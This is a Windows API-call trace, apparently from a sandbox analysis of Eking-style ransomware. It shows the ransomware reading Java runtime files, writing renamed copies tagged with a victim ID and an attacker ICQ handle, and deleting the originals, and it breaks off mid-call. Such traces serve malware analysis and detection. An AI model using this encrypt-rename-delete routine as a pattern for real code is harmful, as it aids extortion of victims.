[0246.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0246.197] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0246.197] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0246.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x398 [0246.198] ReadFile (in: hFile=0x340, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1c6de, lpOverlapped=0x0) returned 1 [0246.417] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1c6e0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1c6e0, lpOverlapped=0x0) returned 1 [0246.422] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xe2, lpOverlapped=0x0) returned 1 [0246.422] CloseHandle (hObject=0x340) returned 1 [0246.422] CloseHandle (hObject=0x398) returned 1 [0246.427] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 0 [0246.427] SetEvent (hEvent=0x2b8) returned 1 [0246.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0246.428] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=20109) returned 1 [0246.428] CloseHandle (hObject=0x398) returned 1 [0246.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 0x20 [0246.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 0x20 [0246.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0246.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0246.429] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0246.429] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0246.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x340 [0246.431] ReadFile (in: hFile=0x398, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x4e8d, lpOverlapped=0x0) returned 1 [0246.450] WriteFile (in: hFile=0x340, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x4e90, lpOverlapped=0x0) returned 1 [0246.453] WriteFile (in: hFile=0x340, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0246.453] CloseHandle (hObject=0x398) returned 1 [0246.453] CloseHandle (hObject=0x340) returned 1 [0246.455] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 0 [0246.456] SetEvent (hEvent=0x2b8) returned 1 [0246.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0246.457] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=20065) returned 1 [0246.457] CloseHandle (hObject=0x340) returned 1 [0246.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 0x20 [0246.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 0x20 [0246.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0246.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0246.458] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0246.458] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0246.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x398 [0246.462] ReadFile (in: hFile=0x340, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x4e61, lpOverlapped=0x0) returned 1 [0246.476] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x4e70, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x4e70, lpOverlapped=0x0) returned 1 [0246.477] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0246.478] CloseHandle (hObject=0x340) returned 1 [0246.478] CloseHandle (hObject=0x398) returned 1 [0246.479] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 0 [0246.480] SetEvent (hEvent=0x2b8) returned 1 [0246.480] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0246.623] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=560581) returned 1 [0246.624] CloseHandle (hObject=0x398) returned 1 [0246.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 0x20 [0246.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 0x20 [0246.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0246.624] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0246.625] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0246.625] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0246.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x340 [0246.626] ReadFile (in: hFile=0x398, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x88dc5, lpOverlapped=0x0) returned 1 [0246.656] WriteFile (in: hFile=0x340, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x88dd0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x88dd0, lpOverlapped=0x0) returned 1 [0246.860] WriteFile (in: hFile=0x340, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xe2, lpOverlapped=0x0) returned 1 [0246.860] CloseHandle (hObject=0x398) returned 1 [0246.860] CloseHandle (hObject=0x340) returned 1 [0246.875] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 0 [0246.875] SetEvent (hEvent=0x2b8) returned 1 [0246.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0246.877] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=33932) returned 1 [0246.877] CloseHandle (hObject=0x340) returned 1 [0246.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 0x20 [0246.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 0x20 [0246.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0246.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0246.878] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0246.878] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0246.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x398 [0246.879] ReadFile (in: hFile=0x340, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x848c, lpOverlapped=0x0) returned 1 [0246.887] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x8490, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x8490, lpOverlapped=0x0) returned 1 [0246.890] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0246.890] CloseHandle (hObject=0x340) returned 1 [0246.890] CloseHandle (hObject=0x398) returned 1 [0247.100] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 0 [0247.100] SetEvent (hEvent=0x2b8) returned 1 [0247.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0247.102] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=584576) returned 1 [0247.103] CloseHandle (hObject=0x398) returned 1 [0247.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 0x20 [0247.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 0x20 [0247.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0247.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0247.104] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0247.104] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0247.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x374 [0247.105] ReadFile (in: hFile=0x398, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x8eb80, lpOverlapped=0x0) returned 1 [0247.130] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x8eb90, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x8eb90, lpOverlapped=0x0) returned 1 [0247.357] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0247.358] CloseHandle (hObject=0x398) returned 1 [0247.358] CloseHandle (hObject=0x374) returned 1 [0247.373] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 0 [0247.373] SetEvent (hEvent=0x2b8) returned 1 [0247.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0247.375] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=4226) returned 1 [0247.375] CloseHandle (hObject=0x374) returned 1 [0247.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 0x20 [0247.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 0x20 [0247.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0247.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0247.376] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0247.376] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0247.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x398 [0247.378] ReadFile (in: hFile=0x374, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1082, lpOverlapped=0x0) returned 1 [0247.380] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1090, lpOverlapped=0x0) returned 1 [0247.381] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0247.381] CloseHandle (hObject=0x374) returned 1 [0247.382] CloseHandle (hObject=0x398) returned 1 [0247.383] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 0 [0247.384] SetEvent (hEvent=0x2b8) returned 1 [0247.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0247.387] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2455) returned 1 [0247.387] CloseHandle (hObject=0x398) returned 1 [0247.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 0x20 [0247.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 0x20 [0247.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0247.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0247.389] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0247.389] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0247.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x374 [0247.390] ReadFile (in: hFile=0x398, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x997, lpOverlapped=0x0) returned 1 [0247.551] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x9a0, lpOverlapped=0x0) returned 1 [0247.552] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, 